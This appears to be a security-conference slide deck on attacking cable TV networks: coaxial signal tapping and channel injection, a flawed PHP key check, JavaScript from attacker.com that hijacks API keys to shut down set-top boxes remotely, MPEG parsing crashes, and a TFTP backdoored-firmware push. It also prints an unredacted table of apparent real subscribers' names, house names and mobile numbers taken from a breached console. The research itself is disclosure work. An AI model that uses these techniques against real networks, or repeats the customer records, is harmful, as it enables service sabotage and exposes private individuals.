• Go here watch the video, do it now.

https://www.youtube.com/watch?v=SLQmQwvJU78
Allepey, Kerala [ India ]
Hacking your Cable TV Network

All Demo Videos Goes here:

http://www.garage4hackers.com/entry.php?b=2830
TV & Media

SPECIAL REPORTS

England Riots

Street riots trigger a crisis in policing, politics & society - but what caused them and what do we do now?

- Darshna Soni

Deaths: 5
Damage: £200m
Today, we will Hack...

- Analogue Cable TV ✅
- DVB-C ✅
- DVB-T [Satellite TV] ❌
- IPTV Intro

[Image 342x373 to 369x398]
[Image 338x336 to 365x361]
[Image 328x290 to 369x317]
Rahul Sasi

- Security Engineer
- Speaker.


- One of the Admin members Garage4Hackers.com
- https://twitter.com/fb1h2s
Agenda

• Analog Cable Networks.
  ➢ Architecture
  ➢ Introduction and Attacks

• Digital Cable Networks.
  ➢ Migration form Analog to Digital
  ➢ Digital Network architecture
  ➢ Application and Network layer bugs
Analog Cable Network The Basics

- FM Modulation And Broadcasting [TV Station]
- Antenna Farm [Cable Operator End]
- IRD-Integrated Receiver Decoders.
- Local cable network.
- TV
Antenna Farms
IRD Decoder

National Channel
One IRD per Channel
Modulator to QAM
QAM: Quadrature amplitude modulation

- Analog + Digital Modulation
- Modulates the amplitudes of analog waves, using AM
- Modulates the amplitudes of digital waves, using ASK
- Modulated waves are summed
- Amplified and distributed via optic fiber

*Source: http://en.wikipedia.org/wiki/Quadrature_amplitude_modulation*
QAM Device
The transmission channel is **Unencrypted**
Cable Operation

- Each channel received would be under a particular frequency.
- Cable Operators could modulate to any frequency.
- FDMA is used to sent all the different channels to users.
- The transmission medium is Radio over Fiber.
- TV channels tunes in individual frequency and decodes them to audio and video.
Attacking Analog Network

Decoder Unit → QAM → Signal Amplifier → Local Cable TV Operator → Coaxial Cables → Home TV

MitM

Optical Fiber

Broadcast Center (uplink)
MITM:~ Local Cable Operator$

• Easy MITM: No Encryption in Analog Network
• Physical access = Free cable connection.

Or

• You can even Broadcast your own signals.
DTK: Our MITM unit Operator end:~ Devices used

- Optical Receiver
- Optical to Coaxial
- RF modulator
- Amplifier
- Signal Tap

Total: 80 usd
Our Garage
Local cable operator

- Fiber optic is fast and reliable but expensive.
- Doing a Man-In-Middle on Fiber optic is expensive [at least for us].
- Local cable admins convert optic input to co-axial.
- Coaxial cable could be easily tapped.
Device:~ optical to coaxial
MITM: Tap and inject signals
The Process:~ For example

• NDTV would be in frequency A and Times Now on frequency B.
• Both these frequency signals are sent over coaxial cable.
• TV knows how to decode each frequencies.
• So channel no 1 would be pre-set to display HBO[Frequency A] and channel no 2 would be set to display “Star Movies” [Frequency B].
• As a hacker if I need to replace channels, one possibility is to do a man in the middle attack and modulate my videos with Star Movies frequency.
MITM demo

All Demo Videos Goes here:

http://www.garage4hackers.com/entry.php?b=2830
Avoiding Collision

• Let us shut down the original signal source.
• Shutting down the entire signal source will stop all the channels.
• **Signal cutter** to the rescue – Block NDTV Only.
• Introduce our Video in NDTV Frequency
Demo

All Demo Videos Goes here:

http://www.garage4hackers.com/entry.php?b=2830
Digital TV Introduction

• In December 2011, the Lok Sabha passed Cable Television Networks (Regulation) Amendment Bill.

• In the Act the addressable system may only transmit encrypted signals.

• So with this Act it is mandatory to install set-top boxes on every house for decoding the transmitted signals.
Digital TV Introduction

• Cable TV & Customers Upgrade to DVBC or IP network which can now transmit encrypted signals.
• DVBC standard [Conditional Access] is an access control mechanism.
• IPTV Networks are traditional TCP/IP Stack.
• Now Signals are encrypted or scrambled before sent on wire.
• A set-top box device is needed to de-scramble the output
• STB decodes the scrambled input and produces the TV out.
STB :~ Set-Top Box

• Does QAM demodulation.
• DVB-C type set top boxes work on co-axial cable.
• IPTV set-top boxes need IPTV networks.
• IPTV boxes allows internet connectivity.
• Each STB has a unique identity either using MAC address or using a smart card.
STB Unique Identity

All Demo Videos Goes here:

http://www.garage4hackers.com/entry.php?b=2830
DVB-C Set-top box

• Works on Digital Video Broadcasting standard, the same standard is used for satellite broadcasting.

• Works based on [64,128, 256 QAM ] modulation, a combination of amplitude and phase modulation.

• DVB-C is used for broadcasting Audio, Video signals.

Source: Understanding Digital Television: An Introduction to DVB Systems with
IPTV

• IP Set-Top Boxes enable Video Services connected through IP network.
• Protocols like http, rtsp, igmp are used in streaming the video.
• IPTV can carry Audio, video and data over the wire aka [Triple play].
• Internet Access is possible using IPTV.
### Digital Cable Overall

- Satellite Content
- IRD decoders
- DRM Server

### Middleware Servers
- Video on Demand Server
- Billing Server

### Triple Play Convergence
- Switch
- QAM Modulator

### Network Infrastructure
- Micro PoP
- Access Switch

### Customer Premise Equipment
- Set Top Box
Digital Cable Network:
Attacking Digital Network

- Decoder Unit
- Management Network
  - Local Cable TV Operator
  - Scrambled Signal on Optical Fiber
  - Coaxial Cables
- Home TV Set-Top Box
- Digital Signal

Broadcast Center (uplink)
Attack Vectors

Management Network

- Billing Server [ Web Application Bug ]

Attacking Set-Top boxes

- Firmware Attack [ Application Bug ]
- Protocol Attacks [ Protocol Implementation Bug ]
Management Server [Middleware]

- Provides Billing and Customer Service.
- Attacks on Middleware are possible in both DVB-C and IPTV networks

Locating the Mother Program

- Network fingerprinting – Find IPTV Management service.
- Some are Internet facing!!
Middleware Billing Server Hijack

Please don’t ask how 😊
Bug 1:~ STB Hijack

• Application allows one operator to transfer STB to another operator.
• This option lists all Existing operators.
• Transfer option based on an Access Key.
• The Access key implementation was flawed.
<?php
$apikey = "select api_key from apis where username=.'mysql_escape($username)'"
$authenticated = strcmp($apikey, $_GET['key']);
if ($authenticated == 0) {
    print "Logged IN !";
} else {
    print "wrong API!";
}?>
Voila: IPTV Management Console

<table>
<thead>
<tr>
<th>Operations</th>
<th>CHIP ID</th>
<th>VC Number/UA Number</th>
<th>Is Active</th>
<th>Activated Date</th>
<th>Is Assigned</th>
<th>Assigned Date</th>
<th>Customer Name</th>
<th>CRF Number: Father Name</th>
<th>Installation Address</th>
<th>Mobile</th>
<th>CAS</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>00548524263</td>
<td>02106219806</td>
<td>YES</td>
<td>2013-08-31</td>
<td>YES</td>
<td>2013-08-31</td>
<td>DAISY JOHN</td>
<td>K0380010107</td>
<td>KOTTARATHIL PARUTHALAVILA KALLUMALA</td>
<td>919961197987</td>
<td>CONAX</td>
</tr>
<tr>
<td></td>
<td>00548524707</td>
<td>0106219804</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>00548736486</td>
<td>0106219807</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>00548737322</td>
<td>0106219808</td>
<td>YES</td>
<td>2013-08-31</td>
<td>YES</td>
<td>2013-08-31</td>
<td>LALITHAMMA</td>
<td>K0380010108</td>
<td>SUKUMARAPURAM AKKANATTUKARA</td>
<td>919947759837</td>
<td>CONAX</td>
</tr>
<tr>
<td>C</td>
<td>V1EM1112EM009300</td>
<td>9716112AD9257</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>REGUNATHAPILLAI</td>
<td>K0380001072</td>
<td>THRIVENI</td>
<td>919567386745</td>
<td>LogicEastern</td>
</tr>
<tr>
<td>C</td>
<td>V1EM1112UT011095</td>
<td>97261112AD1099</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>JOHN</td>
<td>K0380001071</td>
<td>SATHEESV BHAVANAM</td>
<td>919746417277</td>
<td>LogicEastern</td>
</tr>
<tr>
<td>C</td>
<td>V1EM1112EM008929</td>
<td>9716112AD9223</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>SASIDARA KURUP</td>
<td>K0380001070</td>
<td>SASIBHAVANAM</td>
<td>919746417226</td>
<td>LogicEastern</td>
</tr>
<tr>
<td>C</td>
<td>V1EM1112EM008920</td>
<td>9716112AD9226</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>MUKUNDAKUTTI NAIR</td>
<td>K0380001069</td>
<td>DAMODARA NIVAS</td>
<td>919746417225</td>
<td>LogicEastern</td>
</tr>
<tr>
<td></td>
<td>V1EM1112UT011068</td>
<td>97261112AD1080</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>RATHESHKUMAR</td>
<td>K0380001068</td>
<td>SATHEESBHAVANAM</td>
<td>919746417224</td>
<td>LogicEastern</td>
</tr>
<tr>
<td></td>
<td>V1EM1112EM008914</td>
<td>9716112AD9354</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>RAJAN NAIR</td>
<td>K0380001066</td>
<td>SREEVILASAM</td>
<td>919746417217</td>
<td>LogicEastern</td>
</tr>
<tr>
<td></td>
<td>V1EM1112EM008923</td>
<td>9716112AD9224</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>AJITH KUMAR</td>
<td>K0380001067</td>
<td>ARACKAL</td>
<td>919746417218</td>
<td>LogicEastern</td>
</tr>
<tr>
<td></td>
<td>V1EM1112UT011061</td>
<td>97261112AD1553</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>KOSHY T</td>
<td>K0380001065</td>
<td>CHEKCIAYIL HOUSE</td>
<td>919746417214</td>
<td>LogicEastern</td>
</tr>
<tr>
<td></td>
<td>V1EM1112EM008928</td>
<td>9716112AD9105</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>SARASAMMA V</td>
<td>K0380001063</td>
<td>KUTTIKATTU</td>
<td>919746417213</td>
<td>LogicEastern</td>
</tr>
<tr>
<td></td>
<td>V1EM1112UT011341</td>
<td>97261112AD1806</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>PONNAMMA ZACHARIASH</td>
<td>K0380001062</td>
<td>VADAKKEVEETTIL</td>
<td>919746417202</td>
<td>LogicEastern</td>
</tr>
<tr>
<td></td>
<td>V1EM1112UT011086</td>
<td>97261112AD1254</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>MANOJ</td>
<td>K0380001061</td>
<td>794</td>
<td>919746417201</td>
<td>LogicEastern</td>
</tr>
<tr>
<td></td>
<td>V1EM1112UT011055</td>
<td>97261112AD1711</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>MATHIN CHERIAN</td>
<td>K0380001060</td>
<td>REHOBOTH</td>
<td>919746417200</td>
<td>LogicEastern</td>
</tr>
<tr>
<td></td>
<td>V1EM1112UT011055</td>
<td>97261112AD1711</td>
<td>YES</td>
<td>2013-07-31</td>
<td>YES</td>
<td>2013-07-31</td>
<td>MATHIN CHERIAN</td>
<td>K0380001060</td>
<td>REHOBOTH</td>
<td>919746417200</td>
<td>LogicEastern</td>
</tr>
</tbody>
</table>

Find: 8890
Bug 2: Cable TV Remote shutdown

- Cable TV Operators control Clients via **UAKEY**.
- This is accomplished via API Keys specific to the logged in admin.
- The implementation was flawed.
- The bug allowed a remote cable operator visiting a malicious webpage to remotely shutdown all Digital Tv instances.
They had some pretty cool anti-stealing code as well.

```javascript
function checkUrl()
{
    var url = get_current_url();
    return url.match(url+'$') == 'flappybirds.com';
}
if(checkUrl())
{
    var api_key = "77d11aea20ff61c6d1e23f044";alert(api_key);
    populateFormFields(super_secret); // Injects this token into the hidden input fields
} else{
    alert('Bad Domain !');
}
```
Lets do some cross-domain magic

- Attacker can load, `<script src="load_secrets.js"></script>`
- But, `checkAdmin()` returns false.
- Attacker can bypass this using,

```javascript
// From attacker.com
<script>
String.prototype.match = function()
{
    return ["flappybirds.com"];  
}
</script>
<script src="http://cable-tv.com/api_keys/load_secrets.js"></script>
```
Demo Video: Remote

All Demo Videos Goes here:

http://www.garage4hackers.com/entry.php?b=2830
Remote Denial of Service

All Demo Videos Goes here:

http://www.garage4hackers.com/entry.php?b=2830
MITM in Digital Networks:

Attacking Set-Top boxes

- Firmware Attack (1) [MPEG Parsing Bugs]
- Firmware Attack (2) [Application Bug]
The transmission channel is Encrypted
DVB Transport stream Working

• DVB in Action:
  • Provide Audio : Video streams to TV (Transport Stream).
  • Provide Internet Connection [IP over DVB/MPEG ].
  • Can provide multiple channels in a single stream.
  • Payload of a Stream = [Audio + Video + Stream Info ]
  • Stream Info = Ex : Program Association Table

• Program Association Table provide:
  • PID values for (TS) packets corresponding (PMT) .
  • PID stands for Packet Identifier .
  • PMT (Program Map Table) provide location of cells that make up each stream.
## Program Association Table:

<table>
<thead>
<tr>
<th>Channel</th>
<th>Network</th>
<th>Schedule</th>
</tr>
</thead>
<tbody>
<tr>
<td>381</td>
<td>TV5 MONDE ASIE</td>
<td>3:30</td>
</tr>
<tr>
<td>401</td>
<td>DISCOVERY</td>
<td>4:00</td>
</tr>
<tr>
<td>402</td>
<td>NATIONAL GEOGRAP</td>
<td>4:30</td>
</tr>
<tr>
<td>403</td>
<td>HISTORY</td>
<td>5:00</td>
</tr>
<tr>
<td>404</td>
<td>FOX TRAVELLER</td>
<td>5:30</td>
</tr>
<tr>
<td>405</td>
<td>ANIMAL PLANET</td>
<td></td>
</tr>
<tr>
<td>406</td>
<td>DISCOVERY TURBO</td>
<td></td>
</tr>
</tbody>
</table>
• DVB-C uses MPEG-2 TS [Transport Streams].
• It transmits multiple [muxed multiplexed] channels [A : V].
• (MPEG TS) encapsulates all data streams in cells of 188 bytes.
• 4 byte header + 184 byte payload = 188 byte MPEG TS.
• DVB-CSA is the symmetric cipher used to protect content of MPEG2 TS.
DVB-CSA Scrambling Algorithm

- DVB-CSA is the symmetric cipher used to protect content of MPEG2 TS.
- DVB-CSA works in 2 passes.

**Fig. 1. DVB-CSA structure**

Diagram showing the flow of blocks and encryption process.
Taking care of Encryption problem:
MITM Fuzzing breaking Encryption:

- The Transport Scrambling [2 bits] in TS header indicates whether the packet is encrypted or unencrypted.
- If both bits are set to zero, there is no scrambling.
- If one of the two is not zero they payload part is scrambled.
- Most DVB STB implementations use this field to detect scrambling.
This way you can introduce Unencrypted cells to DVBC stream and make STB parse them.
Bug 3: STB DVB MPEG stream parsing Segfault.

• SIGSEGV due to buffer overflow.
• Buffer over flow due to memory overwrite
• This bug would cause the STB to restart.
Demo: Poc crashing STB:

All Demo Videos Goes here:

http://www.garage4hackers.com/entry.php?b=2830
STB Firmware Update

• STB boots up and authenticates to Home gateway.
• Checks a middleware server for updates, if any available download it via TFTP.
• Reboots and install new firmware.
STB Bootup: Video

All Demo Videos Goes here:

http://www.garage4hackers.com/entry.php?b=2830
Middleware server used to push STB Updates
Preset Telnet passwords.

- Telnet is enabled on most of these devices with a default password.
- By reversing the firmware we can locate passwords, login and trigger the TFTP firmware update.

```
save fware from tftp attacker upgrade1.0 to flash
```
Backdoor Firmware:~ Video

All Demo Videos Goes here:

http://www.garage4hackers.com/entry.php?b=2830
Thank You !!
Thanks to Ahamed Nafeez

• Security Engineer
• Client side and network security
• blog.skepticfx.com
• @skeptic_fx
Thanks to Mrityunjay Gautam

https://twitter.com/mangekyon
Questions ?